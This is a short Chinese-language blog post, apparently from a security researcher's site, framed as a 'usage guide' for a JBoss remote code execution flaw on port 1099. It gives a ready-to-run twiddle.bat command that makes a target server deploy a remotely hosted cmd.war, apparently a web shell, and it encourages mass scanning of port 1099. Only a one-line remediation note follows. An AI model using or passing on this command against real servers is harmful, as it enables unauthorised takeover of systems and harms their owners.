by 空虚浪子心 http://www.inbreak.net 微博：http://t.qq.com/javasecurity

鸟哥前几天发我一篇文章，是个java的漏洞，讲的是1099端口可以远程方法调用的事情。  
我突然想起来，当初给XCON2012的时候，因“忘记了”所以没有提到的一个问题，是个JBOSS远程代码执行的漏洞。国内貌似没有看到翻译和使用指南。时间过了这么久，居然真的就忘记了。  
其原理和EJBinvoker那个差不多，话说前几天放出来一个EJBinvoker来，其实也是老漏洞，都是当初被一起放出来，EXP打击的地方，只是url不同，但是国内没看到“使用指南”的漏洞。以至于很多人不会用。  
使用指南如下，有啥不会Google。

漏洞详情：  
  
twiddle.bat -s jnp://www.target.net:1099 invoke jboss.system:service=MainDeployer deploy http://www.inbreak.net/cmd.war

事实上这个本来就在某篇老外的文章里的，和其他几个JBOSS问题都一起的。  
意思是远程部署一个war上去，具体原理，和 EJBInvokerServlet / JMXInvokerServlet 基本一致，扫描特征也基本一致。  
所以，可以批量的扫描1099端口。  
此外，JBOSS的4444端口，看起来也不是好鸟，没时间分析，坐等答案。  
我觉得国内安全圈最悲哀的莫过于大多数情况下“利用工具==新漏洞”，所以“exp==漏洞详情”。

修补建议：  
invoker删除了，再把1099关闭就好。

http://www.inbreak.net/?p=512

by 空虚浪子心 http://www.inbreak.net 微博：http://t.qq.com/javasecurity